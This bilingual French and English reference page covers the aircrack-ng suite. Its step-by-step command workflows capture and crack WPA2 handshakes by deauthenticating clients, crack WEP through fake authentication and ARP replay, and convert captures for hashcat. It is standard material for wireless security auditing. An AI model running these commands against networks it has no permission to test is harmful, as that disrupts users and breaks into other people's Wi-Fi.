retour aux outils back to tools Ducklings

aircrack-ng

Suite de crack de clés WEP et WPA/WPA2-PSK en 802.11. Inclut des outils de capture, d'injection, de déauthentification et de crack de mot de passe hors ligne. 802.11 WEP and WPA/WPA2-PSK key cracking suite. Includes tools for capture, injection, deauthentication, and offline password cracking.

↗ https://www.aircrack-ng.org

Overview

aircrack-ng is a complete suite for 802.11 wireless network auditing. Key tools: airmon-ng (monitor mode), airodump-ng (capture), aireplay-ng (injection/deauth), aircrack-ng (cracking), and airdecap-ng (decryption).

Workflow: WPA2 Handshake Capture & Crack

  1. Kill interfering processes
airmon-ng check kill
  1. Enable monitor mode
airmon-ng start wlan0

→ Interface is now wlan0mon

  1. Scan for networks
airodump-ng wlan0mon
  1. Target a specific network and capture to file
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
  1. Deauthenticate a client to force handshake (new terminal)
aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c CC:DD:EE:FF:00:11 wlan0mon

→ -0 = deauth, 10 = count, -a = AP BSSID, -c = client MAC

# 6. Wait for WPA handshake in airodump-ng output, then Ctrl+C
  1. Crack the handshake
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

WEP Cracking (Legacy)

Capture IVs (needs ~20,000+)

airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep_capture wlan0mon

Fake authentication

aireplay-ng -1 0 -a AA:BB:CC:DD:EE:FF wlan0mon

ARP replay to generate traffic

aireplay-ng -3 -b AA:BB:CC:DD:EE:FF wlan0mon

Crack WEP key (statistical attack)

aircrack-ng wep_capture-01.cap

aireplay-ng Attacks

aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon          # All clients
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c CLIENT wlan0mon # Specific client

Fake authentication

aireplay-ng -1 0 -a AA:BB:CC:DD:EE:FF wlan0mon

Interactive packet replay

aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b AA:BB:CC:DD:EE:FF wlan0mon

Test injection capability

aireplay-ng -9 wlan0mon

aircrack-ng Cracking

Crack WPA handshake with wordlist

aircrack-ng -w rockyou.txt -b AA:BB:CC:DD:EE:FF capture-01.cap

Multiple capture files

aircrack-ng -w rockyou.txt *.cap

Show network info without cracking

aircrack-ng capture-01.cap

Convert for Hashcat (faster cracking)

Convert .cap to .hc22000 for hashcat

hcxpcapngtool -o hash.hc22000 capture-01.cap

Then crack with hashcat

hashcat -m 22000 hash.hc22000 rockyou.txt

Tips

  • Not all wireless cards support injection — check the aircrack-ng compatibility list
  • Use hcxtools + hashcat for GPU-accelerated WPA cracking (much faster than CPU)
  • airmon-ng check kill stops NetworkManager and wpa_supplicant which interfere with monitor mode
  • iwconfig confirms the interface is in monitor mode
Key commands summary 
airmon-ng start|stop|check|check kill <interface>

airodump-ng [options] <interface>
  -c channel        Capture specific channel
  --bssid MAC       Filter by AP MAC
  -w prefix         Write to file
  --wps             Show WPS info

aireplay-ng [options] <interface>
  -0 count          Deauthentication
  -1 delay          Fake authentication
  -2                Interactive replay
  -3                ARP request replay
  -9                Injection test
  -a MAC            AP BSSID
  -c MAC            Client MAC

aircrack-ng [options] <capture files>
  -w wordlist       Wordlist file
  -b BSSID          Target AP MAC
  -e ESSID          Target network name

Vue d’ensemble

aircrack-ng est une suite complète pour l’audit des réseaux sans fil 802.11. Outils clés : airmon-ng (mode monitor), airodump-ng (capture), aireplay-ng (injection/deauth), aircrack-ng (crack), et airdecap-ng (déchiffrement).

Workflow : capture et crack d’un handshake WPA2

# 1. Tuer les processus qui interfèrent
airmon-ng check kill

# 2. Activer le mode monitor
airmon-ng start wlan0
# → L'interface est maintenant wlan0mon

# 3. Scanner les réseaux
airodump-ng wlan0mon

# 4. Cibler un réseau spécifique et capturer vers un fichier
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# 5. Déauthentifier un client pour forcer le handshake (nouveau terminal)
aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c CC:DD:EE:FF:00:11 wlan0mon
# → -0 = deauth, 10 = nombre, -a = BSSID de l'AP, -c = MAC du client

# 6. Attendre le handshake WPA dans la sortie d'airodump-ng, puis Ctrl+C

# 7. Cracker le handshake
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

Crack WEP (obsolète)

# Capturer des IVs (il en faut ~20 000+)
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep_capture wlan0mon

# Fausse authentification
aireplay-ng -1 0 -a AA:BB:CC:DD:EE:FF wlan0mon

# Rejeu ARP pour générer du trafic
aireplay-ng -3 -b AA:BB:CC:DD:EE:FF wlan0mon

# Cracker la clé WEP (attaque statistique)
aircrack-ng wep_capture-01.cap

Attaques aireplay-ng

aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon          # Tous les clients
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c CLIENT wlan0mon # Client spécifique

# Fausse authentification
aireplay-ng -1 0 -a AA:BB:CC:DD:EE:FF wlan0mon

# Rejeu de paquets interactif
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b AA:BB:CC:DD:EE:FF wlan0mon

# Tester la capacité d'injection
aireplay-ng -9 wlan0mon

Crack avec aircrack-ng

# Cracker un handshake WPA avec une wordlist
aircrack-ng -w rockyou.txt -b AA:BB:CC:DD:EE:FF capture-01.cap

# Plusieurs fichiers de capture
aircrack-ng -w rockyou.txt *.cap

# Afficher les infos du réseau sans cracker
aircrack-ng capture-01.cap

Convertir pour Hashcat (crack plus rapide)

# Convertir le .cap en .hc22000 pour hashcat
hcxpcapngtool -o hash.hc22000 capture-01.cap

# Puis cracker avec hashcat
hashcat -m 22000 hash.hc22000 rockyou.txt

Conseils

  • Toutes les cartes sans fil ne supportent pas l’injection : vérifiez la liste de compatibilité d’aircrack-ng
  • Utilisez hcxtools + hashcat pour un crack WPA accéléré par GPU (bien plus rapide que le CPU)
  • airmon-ng check kill arrête NetworkManager et wpa_supplicant, qui interfèrent avec le mode monitor
  • iwconfig confirme que l’interface est en mode monitor
Résumé des commandes clés 
airmon-ng start|stop|check|check kill <interface>

airodump-ng [options] <interface>
  -c channel        Capture specific channel
  --bssid MAC       Filter by AP MAC
  -w prefix         Write to file
  --wps             Show WPS info

aireplay-ng [options] <interface>
  -0 count          Deauthentication
  -1 delay          Fake authentication
  -2                Interactive replay
  -3                ARP request replay
  -9                Injection test
  -a MAC            AP BSSID
  -c MAC            Client MAC

aircrack-ng [options] <capture files>
  -w wordlist       Wordlist file
  -b BSSID          Target AP MAC
  -e ESSID          Target network name